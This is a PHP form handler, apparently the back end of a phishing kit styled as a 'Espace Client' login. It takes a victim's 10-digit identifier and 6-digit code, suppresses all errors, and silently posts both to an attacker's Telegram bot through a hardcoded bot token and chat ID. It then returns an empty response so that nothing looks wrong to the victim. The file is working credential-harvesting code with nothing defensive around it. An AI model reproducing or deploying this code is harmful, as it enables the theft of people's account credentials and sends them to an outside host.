/home2/mshostin/live-dashboard/public/formulaire/traitement.php
<?php
// ==================================================
// AUCUNE SORTIE AUTORISÉE
// ==================================================
ini_set('display_errors', 0);
ini_set('log_errors', 0);
error_reporting(0);

// ==================================================
// HEADERS DE SÉCURITÉ
// ==================================================
header_remove('X-Powered-By');
header('Content-Type: application/json');

// ==================================================
// MÉTHODE AUTORISÉE
// ==================================================
if (
    !isset($_SERVER['REQUEST_METHOD']) ||
    $_SERVER['REQUEST_METHOD'] !== 'POST'
) {
    http_response_code(403);
    exit;
}

// ==================================================
// RÉCUPÉRATION & NETTOYAGE
// ==================================================
$identifiant = isset($_POST['identifiant']) ? trim($_POST['identifiant']) : '';
$code        = isset($_POST['password-input']) ? trim($_POST['password-input']) : '';

// ==================================================
// VALIDATION STRICTE
// ==================================================
if (!preg_match('/^\d{10}$/', $identifiant)) {
    http_response_code(400);
    exit;
}

if (!preg_match('/^\d{6}$/', $code)) {
    http_response_code(400);
    exit;
}

// ==================================================
// TELEGRAM
// ==================================================
$botToken = "8377386965:AAHOItKym-jgbYenFMSoIywdLva8j45V1DM";
$chatId   = "-5238833904";

$message = "🌐 Espace Client Identifiant\n📋ID: {$identifiant}\n🆔CODE: {$code}";
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');

$url = "https://api.telegram.org/bot{$botToken}/sendMessage";

$data = [
    'chat_id' => $chatId,
    'text'    => $message
];

// ==================================================
// cURL ROBUSTE
// ==================================================
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL            => $url,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_CONNECTTIMEOUT => 5,
    CURLOPT_TIMEOUT        => 8,
    CURLOPT_SSL_VERIFYPEER => true,
    CURLOPT_SSL_VERIFYHOST => 2,
    CURLOPT_FAILONERROR    => true,
]);

@curl_exec($ch);
@curl_close($ch);

// ==================================================
// RÉPONSE VIDE (COMPORTEMENT IDENTIQUE)
// ==================================================
http_response_code(204);
exit;